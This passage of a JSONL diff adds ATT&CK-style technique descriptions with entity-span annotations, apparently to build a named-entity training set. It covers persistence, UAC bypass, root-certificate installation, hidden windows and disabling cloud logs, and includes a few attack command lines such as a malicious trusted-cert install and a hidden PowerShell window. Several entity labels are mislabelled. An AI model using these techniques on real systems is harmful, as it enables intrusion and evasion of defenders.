[[1462, 1464]]}, "info": {"source": "apt_reports", "name": "Container CLI/API"}}
+{"text": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\nDuqu was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server. \n\nBy the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide PowerShell commands in an image file (.png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.", "spans": {"TOOL: PowerShell": [[503, 513], [618, 628]], "MALWARE: Invoke-PSImage": [[473, 487]], "MALWARE: Duqu": [[229, 233]]}, "info": {"source": "apt_reports", "name": "Steganography"}}
+{"text": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.  Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.", "spans": {}, "info": {"source": "apt_reports", "name": "DNS Server"}}
+{"text": "Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.\n\nOAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.  \n\nLeveraging application integrations may allow adversaries to persist in an environment – for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account. In some cases, integrations may remain valid even after the original consenting user account is disabled. Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of Application Access Tokens. Finally, they may enable persistent Automated Exfiltration over time.\n\nCreating or adding a new application may require the adversary to create a dedicated Cloud Account for the application and assign it Additional Cloud Roles – for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.", "spans": {"SYSTEM: Microsoft 365": [[429, 442], [1329, 1342]], "ORGANIZATION: Microsoft": [[429, 438], [1329, 1338]], "ORGANIZATION: Google": [[446, 452]]}, "info": {"source": "apt_reports", "name": "Cloud Application Integration"}}
+{"text": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.", "spans": {"SYSTEM: Gmail": [[819, 824]], "ORGANIZATION: Google": [[826, 832]]}, "info": {"source": "apt_reports", "name": "Protocol or Service Impersonation"}}
+{"text": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "spans": {"SYSTEM: Windows": [[34, 41]]}, "info": {"source": "apt_reports", "name": "Query Registry"}}
+{"text": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", "spans": {}, "info": {"source": "apt_reports", "name": "Data Transfer Size Limits"}}
+{"text": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).  It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell.", "spans": {"TOOL: WinRM": [[27, 32]], "TOOL: PowerShell": [[295, 305]], "SYSTEM: Windows": [[0, 7], [56, 63]]}, "info": {"source": "apt_reports", "name": "Windows Remote Management"}}
+{"text": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.", "spans": {}, "info": {"source": "apt_reports", "name": "Web Session Cookie"}}
+{"text": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.", "spans": {"SYSTEM: Active Directory": [[195, 211]]}, "info": {"source": "apt_reports", "name": "Domain Accounts"}}
+{"text": "Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft.  \n\nBoth utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.", "spans": {"TOOL: Regasm": [[34, 40], [115, 121]], "TOOL: Regsvcs": [[22, 29], [103, 110]], "SYSTEM: Windows": [[86, 93], [126, 133]], "SYSTEM: .NET": [[183, 187]], "ORGANIZATION: Microsoft": [[279, 288]]}, "info": {"source": "apt_reports", "name": "Regsvcs/Regasm"}}
+{"text": "**This technique has been deprecated. Please use Path Interception by PATH Environment Variable, Path Interception by Search Order Hijacking, and/or Path Interception by Unquoted Path.**\n\nPath interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. \n\nThere are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.\n\n### Unquoted Paths\nService paths (stored in Windows Registry keys)  and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).  An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.  \n\n### PATH Environment Variable Misconfiguration\nThe PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, <code>%SystemRoot%\\system32</code> (e.g., <code>C:\\Windows\\system32</code>), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.\n\nFor example, if <code>C:\\example path</code> precedes <code>C:\\Windows\\system32</code> is in the PATH environment variable, a program that is named net.exe and placed in <code>C:\\example path</code> will be called instead of the Windows system \"net\" when \"net\" is executed from the command-line.\n\n### Search Order Hijacking\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program.    However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. \n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.", "spans": {"FILEPATH: C:\\unsafe": [[1264, 1273]], "FILEPATH: C:\\safe": [[1320, 1327]], "FILEPATH: C:\\program": [[1570, 1580]], "FILEPATH: C:\\program.exe": [[1648, 1662]], "FILEPATH: %SystemRoot%\\system32</code>": [[2161, 2189]], "FILEPATH: C:\\Windows\\system32": [[2203, 2222], [2510, 2529]], "FILEPATH: C:\\example": [[2472, 2482], [2626, 2636]], "DOMAIN: net.com": [[3746, 3753], [3843, 3850]], "TOOL: PowerShell": [[2341, 2351]], "TOOL: net.exe": [[2598, 2605], [3576, 3583], [3628, 3635], [3781, 3788], [3864, 3871]], "TOOL: cmd.exe": [[1885, 1892], [3472, 3479], [3802, 3809]], "TOOL: cmd": [[379, 382], [1885, 1888], [2336, 2339], [3472, 3475], [3802, 3805]], "SYSTEM: Windows": [[1096, 1103], [1449, 1456], [2136, 2143], [2206, 2213], [2311, 2318], [2513, 2520], [2679, 2686], [2848, 2855], [3020, 3027], [3110, 3117], [3664, 3671]], "SYSTEM: Python": [[2356, 2362]], "VULNERABILITY: privilege escalation": [[959, 979]], "MALWARE: Interception": [[54, 66], [102, 114], [154, 166]]}, "info": {"source": "apt_reports", "name": "Path Interception"}}
+{"text": "Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.\n\nPath configuration files are designed to extend Python’s module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation. Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.\n\nAdversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).", "spans": {"SYSTEM: Python": [[50, 56], [254, 260], [328, 334], [396, 402], [493, 499], [618, 624], [710, 716], [906, 912]]}, "info": {"source": "apt_reports", "name": "Python Startup Hooks"}}
+{"text": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie, the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.", "spans": {}, "info": {"source": "apt_reports", "name": "Web Session Cookie"}}
+{"text": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.\n\nIn macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.", "spans": {"FILEPATH: /usr/bin/security": [[1839, 1856]], "TOOL: Sysinternals": [[1701, 1713]], "SYSTEM: macOS": [[1801, 1806]]}, "info": {"source": "apt_reports", "name": "Install Root Certificate"}}
+{"text": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects. These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems.  \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "spans": {"SYSTEM: Group Policy": [[179, 191]], "SYSTEM: Active Directory": [[159, 175]]}, "info": {"source": "apt_reports", "name": "Network Logon Script"}}
+{"text": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes and to support other malicious activities, including distraction, hacktivism, and extortion.\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.\n\nIn cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.\n\nFor attacks attempting to saturate the providing network, see Network Denial of Service.", "spans": {"VULNERABILITY: DDoS": [[1244, 1248], [1820, 1824], [2155, 2159], [2368, 2372], [2492, 2496], [3009, 3013]], "VULNERABILITY: DoS": [[52, 55], [133, 136], [408, 411], [549, 552], [1097, 1100], [1239, 1242], [1263, 1266]]}, "info": {"source": "apt_reports", "name": "Endpoint Denial of Service"}}
+{"text": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe, csc.exe, or GCC/MinGW.\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.", "spans": {"SYSTEM: macOS": [[607, 612]], "SYSTEM: Linux": [[613, 618]]}, "info": {"source": "apt_reports", "name": "Compile After Delivery"}}
+{"text": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", "spans": {}, "info": {"source": "apt_reports", "name": "Uncommonly Used Port"}}
+{"text": "Adversaries may gather information in an attempt to calculate the geographical location of a victim host. Adversaries may use the information from System Location Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings. Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host. In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.\n\nAdversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.", "spans": {"SYSTEM: Windows": [[478, 485]]}, "info": {"source": "apt_reports", "name": "System Location Discovery"}}
+{"text": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a <code>PerformanceCache</code> that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the <code>_VBA_PROJECT</code> stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the <code>_VBA_PROJECT</code> stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.", "spans": {}, "info": {"source": "apt_reports", "name": "VBA Stomping"}}
+{"text": "Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.\n\nAdversaries may abuse BITS to download (e.g. Ingress Tool Transfer), execute, and even clean up after running malicious code (e.g. Indicator Removal). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.", "spans": {"TOOL: PowerShell": [[622, 632]], "TOOL: BITSAdmin": [[641, 650]], "SYSTEM: Windows": [[99, 106]]}, "info": {"source": "apt_reports", "name": "BITS Jobs"}}
+{"text": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file. MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.", "spans": {"TOOL: MSBuild": [[20, 27], [90, 97], [329, 336], [405, 412], [527, 534], [577, 584], [746, 753]], "SYSTEM: Windows": [[73, 80]], "SYSTEM: .NET": [[436, 440]], "ORGANIZATION: Microsoft": [[103, 112], [601, 610]]}, "info": {"source": "apt_reports", "name": "MSBuild"}}
+{"text": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft.\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal.   \n \nImpersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity.\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.", "spans": {}, "info": {"source": "apt_reports", "name": "Impersonation"}}
+{"text": "Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.\n\nFor example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional Resource Hijacking without raising suspicion by using up a victim’s entire quota. Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.\n\nAdversaries may also modify settings that affect where cloud resources can be deployed, such as enabling Unused/Unsupported Cloud Regions.", "spans": {}, "info": {"source": "apt_reports", "name": "Modify Cloud Compute Configurations"}}
+{"text": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. \n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box.   An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.  Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods  that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.  \n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity.", "spans": {"TOOL: rundll32": [[722, 730]], "SYSTEM: Windows": [[0, 7], [542, 549]], "MALWARE: UACMe": [[1221, 1226], [1315, 1320]]}, "info": {"source": "apt_reports", "name": "Bypass User Account Control"}}
+{"text": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user. By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "apt_reports", "name": "Runtime Data Manipulation"}}
+{"text": "Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS.  Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "spans": {"MALWARE: route": [[415, 420], [969, 974]]}, "info": {"source": "apt_reports", "name": "Domain Fronting"}}
+{"text": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address. Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.", "spans": {}, "info": {"source": "apt_reports", "name": "ARP Cache Poisoning"}}
+{"text": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity. They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files. In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.", "spans": {"SYSTEM: Office 365": [[769, 779]], "SYSTEM: AWS": [[449, 452]]}, "info": {"source": "apt_reports", "name": "Disable or Modify Cloud Logs"}}
+{"text": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are netsh, <code>reg query</code> with Reg, <code>dir</code> with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the Cloud API to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents  may collect  metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.", "spans": {"TOOL: cmd": [[603, 606]], "SYSTEM: macOS": [[793, 798]], "SYSTEM: Google Cloud": [[1042, 1054]], "SYSTEM: AWS": [[1000, 1003]], "SYSTEM: Azure": [[1022, 1027]], "ORGANIZATION: Google": [[1042, 1048]], "MALWARE: netsh": [[541, 546]], "MALWARE: Tasklist": [[612, 620]]}, "info": {"source": "apt_reports", "name": "Security Software Discovery"}}
+{"text": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\nOn macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nSimilarly, on Windows there are a variety of features in scripting languages, such as PowerShell, Jscript, and Visual Basic to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.\n\nThe Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\\Console\\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.\n\nIn addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.  All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session, will be invisible to other desktops windows.\n\nAdversaries may also leverage cmd.exe as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe, to hide windows.", "spans": {"FILEPATH: %SystemRoot%": [[1275, 1287]], "TOOL: PowerShell": [[963, 973], [1369, 1379]], "TOOL: VNC": [[1656, 1659]], "TOOL: powershell": [[1054, 1064]], "TOOL: cmd.exe": [[1752, 1759]], "TOOL: LOLBin": [[1800, 1806]], "TOOL: cmd": [[1752, 1755]], "SYSTEM: Java": [[685, 689]], "SYSTEM: macOS": [[502, 507]], "SYSTEM: Windows": [[891, 898], [1102, 1109], [1438, 1445]]}, "info": {"source": 